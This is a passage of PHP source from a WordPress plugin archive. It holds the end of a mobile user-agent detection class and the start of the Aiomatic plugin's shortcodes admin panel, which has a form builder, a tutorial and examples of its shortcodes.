self::$utilities; } public static function getMobileDetectionRules() { static $rules; if (!$rules) { $rules = array_merge( self::$phoneDevices, self::$tabletDevices, self::$operatingSystems, self::$browsers ); } return $rules; } public function getMobileDetectionRulesExtended() { static $rules; if (!$rules) { $rules = array_merge( self::$phoneDevices, self::$tabletDevices, self::$operatingSystems, self::$browsers, self::$utilities ); } return $rules; } public function getRules() { if ($this->detectionType == self::DETECTION_TYPE_EXTENDED) { return self::getMobileDetectionRulesExtended(); } else { return self::getMobileDetectionRules(); } } public static function getOperatingSystems() { return self::$operatingSystems; } public function checkHttpHeadersForMobile() { foreach ($this->getMobileHeaders() as $mobileHeader => $matchType) { if (isset($this->httpHeaders[$mobileHeader])) { if (is_array($matchType['matches'])) { foreach ($matchType['matches'] as $_match) { if (strpos($this->httpHeaders[$mobileHeader], $_match) !== false) { return true; } } return false; } else { return true; } } } return false; } public function __call($name, $arguments) { if (substr($name, 0, 2) !== 'is') { throw new BadMethodCallException("No such method exists: $name"); } $this->setDetectionType(self::DETECTION_TYPE_MOBILE); $key = substr($name, 2); return $this->matchUAAgainstKey($key); } protected function matchDetectionRulesAgainstUA($userAgent = null) { foreach ($this->getRules() as $_regex) { if (empty($_regex)) { continue; } if ($this->match($_regex, $userAgent)) { return true; } } return false; } protected function matchUAAgainstKey($key) { $key = strtolower($key); if (false === isset($this->cache[$key])) { $_rules = array_change_key_case($this->getRules()); if (false === empty($_rules[$key])) { $this->cache[$key] = $this->match($_rules[$key]); } if (false === isset($this->cache[$key])) { $this->cache[$key] = false; } } return $this->cache[$key]; } public function isMobile($userAgent = null, $httpHeaders = null) { if ($httpHeaders) { $this->setHttpHeaders($httpHeaders); } if ($userAgent) { $this->setUserAgent($userAgent); } if ($this->getUserAgent() === 'Amazon CloudFront') { $cfHeaders = $this->getCfHeaders(); if(array_key_exists('HTTP_CLOUDFRONT_IS_MOBILE_VIEWER', $cfHeaders) && $cfHeaders['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER'] === 'true') { return true; } } $this->setDetectionType(self::DETECTION_TYPE_MOBILE); if ($this->checkHttpHeadersForMobile()) { return true; } else { return $this->matchDetectionRulesAgainstUA(); } } public function isTablet($userAgent = null, $httpHeaders = null) { if ($this->getUserAgent() === 'Amazon CloudFront') { $cfHeaders = $this->getCfHeaders(); if(array_key_exists('HTTP_CLOUDFRONT_IS_TABLET_VIEWER', $cfHeaders) && $cfHeaders['HTTP_CLOUDFRONT_IS_TABLET_VIEWER'] === 'true') { return true; } } $this->setDetectionType(self::DETECTION_TYPE_MOBILE); foreach (self::$tabletDevices as $_regex) { if ($this->match($_regex, $userAgent)) { return true; } } return false; } public function is($key, $userAgent = null, $httpHeaders = null) { if ($httpHeaders) { $this->setHttpHeaders($httpHeaders); } if ($userAgent) { $this->setUserAgent($userAgent); } $this->setDetectionType(self::DETECTION_TYPE_EXTENDED); return $this->matchUAAgainstKey($key); } public function match($regex, $userAgent = null) { $match = (bool) preg_match(sprintf('#%s#is', $regex), (false === empty($userAgent) ? $userAgent : $this->userAgent), $matches); if ($match) { $this->matchingRegex = $regex; $this->matchesArray = $matches; } return $match; } public static function getProperties() { return self::$properties; } public function prepareVersionNo($ver) { $ver = str_replace(array('_', ' ', '/'), '.', $ver); $arrVer = explode('.', $ver, 2); if (isset($arrVer[1])) { $arrVer[1] = @str_replace('.', '', $arrVer[1]); } return (float) implode('.', $arrVer); } public function version($propertyName, $type = self::VERSION_TYPE_STRING) { if (empty($propertyName)) { return false; } if ($type !== self::VERSION_TYPE_STRING && $type !== self::VERSION_TYPE_FLOAT) { $type = self::VERSION_TYPE_STRING; } $properties = self::getProperties(); if (true === isset($properties[$propertyName])) { $properties[$propertyName] = (array) $properties[$propertyName]; foreach ($properties[$propertyName] as $propertyMatchString) { $propertyPattern = str_replace('[VER]', self::VER, $propertyMatchString); $ua = $this->userAgent; if($ua === null) { $ua = ''; } preg_match(sprintf('#%s#is', $propertyPattern), $ua, $match); if (false === empty($match[1])) { $version = ($type == self::VERSION_TYPE_FLOAT ? $this->prepareVersionNo($match[1]) : $match[1]); return $version; } } } return false; } public function mobileGrade() { $isMobile = $this->isMobile(); if ( $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) >= 4.3 || $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) >= 4.3 || $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) >= 4.3 || ( $this->version('Android', self::VERSION_TYPE_FLOAT)>2.1 && $this->is('Webkit') ) || $this->version('Windows Phone OS', self::VERSION_TYPE_FLOAT) >= 7.5 || $this->is('BlackBerry') && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 6.0 || $this->match('Playbook.*Tablet') || ( $this->version('webOS', self::VERSION_TYPE_FLOAT) >= 1.4 && $this->match('Palm|Pre|Pixi') ) || $this->match('hp.*TouchPad') || ( $this->is('Firefox') && $this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 18 ) || ( $this->is('Chrome') && $this->is('AndroidOS') && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 4.0 ) || ( $this->is('Skyfire') && $this->version('Skyfire', self::VERSION_TYPE_FLOAT) >= 4.1 && $this->is('AndroidOS') && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3 ) || ( $this->is('Opera') && $this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >= 11.5 && $this->is('AndroidOS') ) || $this->is('MeeGoOS') || $this->is('Tizen') || $this->is('Dolfin') && $this->version('Bada', self::VERSION_TYPE_FLOAT) >= 2.0 || ( ($this->is('UC Browser') || $this->is('Dolfin')) && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3 ) || ( $this->match('Kindle Fire') || $this->is('Kindle') && $this->version('Kindle', self::VERSION_TYPE_FLOAT) >= 3.0 ) || $this->is('AndroidOS') && $this->is('NookTablet') || $this->version('Chrome', self::VERSION_TYPE_FLOAT) >= 16 && !$isMobile || $this->version('Safari', self::VERSION_TYPE_FLOAT) >= 5.0 && !$isMobile || $this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 10.0 && !$isMobile || $this->version('IE', self::VERSION_TYPE_FLOAT) >= 7.0 && !$isMobile || $this->version('Opera', self::VERSION_TYPE_FLOAT) >= 10 && !$isMobile ){ return self::MOBILE_GRADE_A; } if ( $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT)<4.3 || $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT)<4.3 || $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT)<4.3 || $this->is('Blackberry') && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 5 && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT)<6 || ($this->version('Opera Mini', self::VERSION_TYPE_FLOAT) >= 5.0 && $this->version('Opera Mini', self::VERSION_TYPE_FLOAT) <= 7.0 && ($this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3 || $this->is('iOS')) ) || $this->match('NokiaN8|NokiaC7|N97.*Series60|Symbian/3') || $this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >= 11 && $this->is('SymbianOS') ){ return self::MOBILE_GRADE_B; } if ( $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) <= 5.0 || $this->match('MSIEMobile|Windows CE.*Mobile') || $this->version('Windows Mobile', self::VERSION_TYPE_FLOAT) <= 5.2 || $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) <= 3.2 || $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) <= 3.2 || $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) <= 3.2 || $this->version('IE', self::VERSION_TYPE_FLOAT) <= 7.0 && !$isMobile ){ return self::MOBILE_GRADE_C; } return self::MOBILE_GRADE_C; } } ?>�����������������������������res/aiomatic-shortcodes.php�������������������������������������������������������������������������0000644�����������������00000144335�14757771437�0012047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_shortcodes_panel() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="aiomatic-template-form-field-default aiomatic-hidden-form"> <div class="aiomatic-template-form-field aiomatic-hidden-form"> <div> <div> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Label*", 'aiomatic-automatic-ai-content-writer');?><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the input field Label (textual hint).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></strong> <input type="text" name="aiomaticfields[0][label]" required placeholder="The label which will be shown next to the input field" class="aiomatic-create-template-field-label aiomatic-full-size"> </div> <div> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("ID*", 'aiomatic-automatic-ai-content-writer');?><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the input field ID. This is important, as you will be able to get the value entered by users on the front end for this input field, using this ID. You will be able to use this in the 'Prompt' settings field from below, in the following format: %%ID_YOU_ENTER_HERE%%.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></strong> <input placeholder="my_unique_input_id" type="text" name="aiomaticfields[0][id]" required class="aiomatic-create-template-field-id aiomatic-full-size"> <small class="aiomatic-full-center"><?php echo esc_html__("You can add the value of this field to the form prompt from below, using this shortcode", 'aiomatic-automatic-ai-content-writer');?>: <b>%%my_unique_input_id%%</b></small> </div> <div> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Required*", 'aiomatic-automatic-ai-content-writer');?><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set this input field as required (form cannot be submitted unless this is filled up).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></strong> <select name="aiomaticfields[0][required]" class="aiomatic-create-template-field-required aiomatic-full-size"> <option value="no" selected><?php echo esc_html__("No", 'aiomatic-automatic-ai-content-writer');?></option> <option value="yes"><?php echo esc_html__("Yes", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> <div> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Field Type*", 'aiomatic-automatic-ai-content-writer');?><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the field type for this input field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></strong> <select name="aiomaticfields[0][type]" class="aiomatic-create-template-field-type aiomatic-full-size"> <option value="text" selected><?php echo esc_html__("Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="select"><?php echo esc_html__("Select", 'aiomatic-automatic-ai-content-writer');?></option> <option value="number"><?php echo esc_html__("Number", 'aiomatic-automatic-ai-content-writer');?></option> <option value="email"><?php echo esc_html__("Email", 'aiomatic-automatic-ai-content-writer');?></option> <option value="url"><?php echo esc_html__("URL", 'aiomatic-automatic-ai-content-writer');?></option> <option value="scrape"><?php echo esc_html__("URL Scraper", 'aiomatic-automatic-ai-content-writer');?></option> <option value="textarea"><?php echo esc_html__("Textarea", 'aiomatic-automatic-ai-content-writer');?></option> <option value="checkbox"><?php echo esc_html__("Checkbox", 'aiomatic-automatic-ai-content-writer');?></option> <option value="radio"><?php echo esc_html__("Radio", 'aiomatic-automatic-ai-content-writer');?></option> <option value="html"><?php echo esc_html__("HTML", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> <div class="aiomatic-create-template-field-placeholder-main aiomatic-placeholder-form"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Placeholder Text", 'aiomatic-automatic-ai-content-writer');?></strong> <input placeholder="Placeholder text" type="text" name="aiomaticfields[0][placeholder]" class="aiomatic-create-template-field-placeholder aiomatic-full-size"> </div> <div class="aiomatic-create-template-field-limit-main aiomatic-limit-form"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Max Character Input Limit", 'aiomatic-automatic-ai-content-writer');?></strong> <input placeholder="Max input character count" type="text" name="aiomaticfields[0][limit]" class="aiomatic-create-template-field-limit aiomatic-full-size"> </div> <div class="aiomatic-create-template-field-min-main aiomatic-hidden-form"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Min", 'aiomatic-automatic-ai-content-writer');?></strong> <input placeholder="Minimum value (optional)" type="number" name="aiomaticfields[0][min]" class="aiomatic-create-template-field-min aiomatic-full-size"> </div> <div class="aiomatic-create-template-field-max-main aiomatic-hidden-form"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Max", 'aiomatic-automatic-ai-content-writer');?></strong> <input placeholder="Maximum value (optional)" type="number" name="aiomaticfields[0][max]" class="aiomatic-create-template-field-max aiomatic-full-size"> </div> <div class="aiomatic-create-template-field-rows-main aiomatic-hidden-form"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Rows", 'aiomatic-automatic-ai-content-writer');?></strong> <input placeholder="Textarea rows count (optional)" type="number" name="aiomaticfields[0][rows]" class="aiomatic-create-template-field-rows aiomatic-full-size"> </div> <div class="aiomatic-create-template-field-cols-main aiomatic-hidden-form"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Cols", 'aiomatic-automatic-ai-content-writer');?></strong> <input placeholder="Textarea columns count (optional)" type="number" name="aiomaticfields[0][cols]" class="aiomatic-create-template-field-cols aiomatic-full-size"> </div> </div> <div class="aiomatic-create-template-field-options-main aiomatic-hidden-form"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Options", 'aiomatic-automatic-ai-content-writer');?></strong> <textarea name="aiomaticfields[0][options]" class="aiomatic-create-template-field-options aiomatic-full-size" placeholder="Possible values, separated by a new line"></textarea> </div> <div class="aiomatic-create-template-field-value-main"> <strong class="aiomatic-label-top marginbottom-5"><?php echo esc_html__("Predefined Value", 'aiomatic-automatic-ai-content-writer');?></strong> <textarea name="aiomaticfields[0][value]" class="aiomatic-create-template-field-value aiomatic-full-size" placeholder="Predefined value"></textarea> </div> <div class="aiomatic-form-controls"> <span class="aiomatic-field-up-add"><?php echo esc_html__("Move Up", 'aiomatic-automatic-ai-content-writer');?></span>  <span class="aiomatic-field-down-add"><?php echo esc_html__("Move Down", 'aiomatic-automatic-ai-content-writer');?></span>  <span class="aiomatic-field-delete-add"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></span>  <span class="aiomatic-field-duplicate-add"><?php echo esc_html__("Duplicate", 'aiomatic-automatic-ai-content-writer');?></span> </div> </div> </div> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Aiomatic Shortcodes & Forms", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="wrap gs_popuptype_holder"> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Built-in Shortcodes", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("Add A New AI Form", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("AI Forms Importer/Exporter", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("List AI Forms", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-x" datahref="<?php echo admin_url('admin.php?page=aiomatic_admin_settings#tab-18');?>" class="nav-tab"><?php echo esc_html__("AI Forms Settings", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-0" class="tab-content"> <br/> <h3><?php echo esc_html__("What are AI Forms?", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("With AI Forms you can create fully customizable forms which will be able to be used using the [aiomatic-form id=\"FORM_ID\"] shortcode. You can create textual forms, Dalle-2 image forms or Stable Diffusion image forms. You can create custom input fields of multiple types for the created forms, where users will be able to define their desired input values. These input fields will be able to be replaced in the prompts you define for each form, using shortcodes in this format: %%input_field_ID%%.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("The forms feature will allow you to extend the functionality of your site, provide customized responses to user questions or even create AI membership websites. These forms will be able to be used next to the conventional 'built-in' shortcodes which are provided by the plugin. These 'built-in' shortcodes are listed in the 'Buil-in Shortcodes' tab from above.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("How to get started with AI Forms?", 'aiomatic-automatic-ai-content-writer');?></h3> <p><b><?php echo esc_html__("The main steps of creating forms are", 'aiomatic-automatic-ai-content-writer');?>:</b></p> <ol><li><b><?php echo esc_html__("Step 0: Read this tutorial carefully and watch the tutorial video", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("be sure to not skip this step!", 'aiomatic-automatic-ai-content-writer');?></li> <li><b><?php echo esc_html__("Step 1a: Import the default AI Forms", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("In case you want to get some inspiration on how to create your own forms or you want to get started really quick with using the AI Forms functionality of the plugin, you can go ahead and import the default forms which come bundled with this plugin. To do this, go to the 'AI Forms Importer/Exporter' tab and click the 'Import Default Forms' button.", 'aiomatic-automatic-ai-content-writer');?> </li> <li><b><?php echo esc_html__("Step 1b: Create your own AI Forms", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("You can also get started creating your own AI Forms. To do this, go to the 'Add A New AI Form' tab and start setting up your own forms. You can select between multiple form types (text, Dall-E image or Stable Diffusion image), set a form name and description (which can be displayed on the top of the form, as a form headers). You can create also multiple input fields (of multiple types), using the 'Add A New Form Input Field' button, which will be used by users to enter their data. For each input field, you can set an 'ID', which will be used as a shortcode (and replaced with the value entered by the user) in the AI prompt you define in the form you build, using this format: %%input_ID%%. You will be also able to set some AI model advanced settings and configure the form's submit button text. For more detailed AI Forms customization, you can check the plugin's 'Settings' menu -> 'AI Forms' tab.", 'aiomatic-automatic-ai-content-writer');?></li> <li><b><?php echo esc_html__("Step 2: Use the AI Forms", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("You can set up the AI Forms in the front end of your site, by using the [aiomatic-form id=\"FORM_ID\"] shortcode. You can get the shortcode for each form, from the 'List AI Forms' tab from above. Here you will be able to manage (edit, delete, preview) created AI Forms.", 'aiomatic-automatic-ai-content-writer');?> </li> </ol> <h3><?php echo esc_html__("Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/NhbEeIXxu-0" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-x" class="tab-content"> <br/> <p><?php echo esc_html__("Redirecting...", 'aiomatic-automatic-ai-content-writer');?></p> </div> <div id="tab-1" class="tab-content"> <br/> <p> <h2><?php echo esc_html__("Available shortcodes:", 'aiomatic-automatic-ai-content-writer');?></h2> <ul><li><strong>[aiomatic-text-completion-form]</strong> <?php echo esc_html__("to add a form similar to OpenAI's Text Completion Playground, to generate AI written text based on prompts.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-text-editing-form]</strong> <?php echo esc_html__("to add a form similar to OpenAI's Playground, to generate AI written text based on prompts.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-image-generator-form]</strong> <?php echo esc_html__("to add a form to generate AI images (GPT-3) based on prompts.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-stable-image-generator-form]</strong> <?php echo esc_html__("to add a form to generate AI images (Stable Diffusion) based on prompts.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-midjourney-image-generator-form]</strong> <?php echo esc_html__("to add a form to generate AI images (Midjourney) based on prompts.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-chat-form]</strong> <?php echo esc_html__("to add a form to generate a chat similar to ChatGPT. However, please note that this is not ChatGPT, but instead it is a custom chatbot built on top of OpenAI API.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-persona-selector]</strong> <?php echo esc_html__("to add a Chatbot persona selector screen on the front end, visitors can click on the chatbot persona with which they want to chat. Other [aiomatic-chat-form] parameters will be also able to be used here.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-article]</strong> <?php echo esc_html__("to automatically write an article based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aicontent]Your Prompt[/aicontent]</strong> <?php echo esc_html__("to execute the prompt which is added inside the shortcode and to automatically save the result to the post,", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-image]</strong> <?php echo esc_html__("to automatically create an AI generated image (GPT-3) based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-stable-image]</strong> <?php echo esc_html__("to automatically create an AI generated image (Stable Diffusion) based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-midjourney-image]</strong> <?php echo esc_html__("to automatically create an AI generated image (Midjourney) based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-audio-converter]</strong> <?php echo esc_html__("to convert an audio file to text", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-text-moderation]</strong> <?php echo esc_html__("to check a text for profanities and to moderate it", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-plagiarism-check]</strong> <?php echo esc_html__("to check a text for plagiarism", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-ai-detector]</strong> <?php echo esc_html__("to check a text for AI generated content", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-internet-search]</strong> <?php echo esc_html__("check internet search results for a specific keyword - this shortcode is only for testing purposes", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-user-remaining-credits-text]</strong> <?php echo esc_html__("to include a textual representation of the remaining credits for the current account (in case AI usage is limited from plugin settings)", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-user-remaining-credits-bar]</strong> <?php echo esc_html__("to include a visual representation of the remaining credits for the current account (in case AI usage is limited from plugin settings)", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic_charts]</strong> <?php echo esc_html__("to embed dynamic and customizable charts and graphs in WordPress posts and pages. Usage: [aiomatic_charts type=\"Line/Bar/Radar/Pie/Doughnut/PolarArea\" title=\"ChartTitle\" labels=\"Label1,Label2,Label3\" data=\"Value1,Value2,Value3\" datasets=\"DataSet1,DataSet2\" colors=\"#RGB1,#RGB2,#RGB3\" canvaswidth=625 canvasheight=625 width='100%' height='auto' fillopacity=0.7 animation='true/false' scalefontsize=12 scalefontcolor='#666' scaleoverride='true/false' scalesteps='number' scalestepwidth='value' scalestartvalue='value'] and", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-list-posts]</strong> <?php echo esc_html__("to include a list that contains only posts imported by this plugin, and", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong>[aiomatic-display-posts]</strong> <?php echo esc_html__("to include a WordPress like post listing. Usage:", 'aiomatic-automatic-ai-content-writer');?> [aiomatic-display-posts type='any/post/page/...' title_color='#ffffff' excerpt_color='#ffffff' read_more_text="Read More" link_to_source='yes' order='ASC/DESC' orderby='title/ID/author/name/date/rand/comment_count' title_font_size='19px', excerpt_font_size='19px' posts_per_page=number_of_posts_to_show category='posts_category' ruleid='ID_of_aiomatic_rule']</li></ul> <br/><?php echo esc_html__("Example:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-list-posts type='any' order='ASC' orderby='date' posts_per_page=50 category= '' ruleid='0']</b> <br/><?php echo esc_html__("Example 2:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-display-posts include_excerpt='true' image_size='thumbnail' wrapper='div']</b> <br/><?php echo esc_html__("Example 3:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-article seed_expre='Write an informal article about Climate Change' temperature='1' top_p='1' assistant_id='' model='gpt-4o-mini' presence_penalty='0' frequency_penalty='0' min_char='500' max_tokens='2048' max_tokens='2048' max_seed_tokens='500' max_continue_tokens='500' images="2" headings="3" videos="on" static_content="off" cache_seconds="2592000" headings_model='gpt-4o-mini' headings_seed_expre='Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%' no_internet='0']</b> <br/><?php echo esc_html__("Example 4:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-image seed_expre='A high detail photograph of a sports car driving on the highway' image_size='1024x1024' image_model='dalle2' static_content='on' copy_locally='on' cache_seconds='2592000']</b> <br/><?php echo esc_html__("Example 5:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-stable-image seed_expre='A high detail photograph of a sports car driving on the highway' image_size='1024x1024' static_content='on' copy_locally='on' cache_seconds='2592000']</b> <br/><?php echo esc_html__("Example 6:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-midjourney-image seed_expre='A high detail photograph of a sports car driving on the highway' image_size='1024x1024' static_content='on' copy_locally='on' cache_seconds='2592000']</b> <br/><?php echo esc_html__("Example 7:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-text-completion-form temperature='default' top_p='default' assistant_id='' model='default' presence_penalty='default' frequency_penalty='default' prompt_templates='' prompt_editable="on"]</b> <br/><?php echo esc_html__("Example 8:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-text-editing-form temperature='default' top_p='default' model='default' prompt_templates='' prompt_editable="on"]</b> <br/><?php echo esc_html__("Example 9:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-image-generator-form image_size='default' image_model='dalle2' prompt_templates='' prompt_editable="on"]</b> <br/><?php echo esc_html__("Example 10:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-stable-image-generator-form image_size='default' prompt_templates='' prompt_editable="on"]</b> <br/><?php echo esc_html__("Example 11:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-midjourney-image-generator-form image_size='default' prompt_templates='' prompt_editable="on"]</b> <br/><?php echo esc_html__("Example 12:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-chat-form temperature="default" top_p="default" assistant_id="" model="default" enable_vision="off" presence_penalty="default" frequency_penalty="default" instant_response="false" enable_god_mode="disabled" chatbot_text_speech="" upload_pdf="" file_uploads="" custom_header="" custom_footer="" custom_css="" send_message_sound="" receive_message_sound="" response_delay="" ai_avatar="" show_header="show" show_clear="" show_dltxt="show" show_mute="show" show_internet="show" ai_role="" chat_preppend_text="Act as a customer assistant, respond to every question in a helpful way." user_message_preppend="User" ai_message_preppend="AI" ai_first_message="Hello, how can I help you today?" chat_mode="text" persistent="off" prompt_templates="" prompt_editable="on" placeholder="Enter your chat message here" submit="Submit" show_in_window="off" window_location="top-right" font_size="1em" height="100%" background="auto" general_background="#ffffff" minheight="250px" user_font_color="#ffffff" user_background_color="#0084ff" ai_font_color="#000000" ai_background_color="#f0f0f0" input_border_color="#e1e3e6" submit_color="#55a7e2" submit_text_color="#ffffff" voice_color="#55a7e2" voice_color_activated="#55a7e2" width="100%"]</b> <br/><?php echo esc_html__("Example 13:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-persona-selector ai_personas="47389,47387,47385"] - you need to change the chatbot persona IDs to the IDs of personas which you want to use, from your site!</b> <br/><?php echo esc_html__("Example 14:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-text-moderation] - yes, as simple as this!</b> <br/><?php echo esc_html__("Example 15:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-plagiarism-check] - very simple use!</b> <br/><?php echo esc_html__("Example 16:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-ai-detector] - simple as this!</b> <br/><?php echo esc_html__("Example 17:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-audio-converter] - also simple!</b> <br/><?php echo esc_html__("Example 18:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-user-remaining-credits-text] - display usage of AI credits for the current user, in a textual form</b> <br/><?php echo esc_html__("Example 19:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-user-remaining-credits-bar] - display usage of AI credits for the current user, in a visual form</b> <br/><?php echo esc_html__("Example 20:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic-internet-search keyword="dog food"]</b> <br/><?php echo esc_html__("Example 21:", 'aiomatic-automatic-ai-content-writer');?> <b>[aicontent model="gpt-4o-mini"]Say hello![/aicontent]</b> <br/><?php echo esc_html__("Example 22:", 'aiomatic-automatic-ai-content-writer');?> <b>[aiomatic_charts type="Pie" title="ExpenseDistribution" labels="Rent,Utilities,Groceries" data="40,30,30" colors="#FF6384,#36A2EB,#FFCE56"]</b> </p> <h2><?php echo esc_html__("Currently supported models to be used in shortcodes:", 'aiomatic-automatic-ai-content-writer');?></h2> <ul> <?php $all_assistants = aiomatic_get_all_assistants(true); $all_models = aiomatic_get_all_models(); 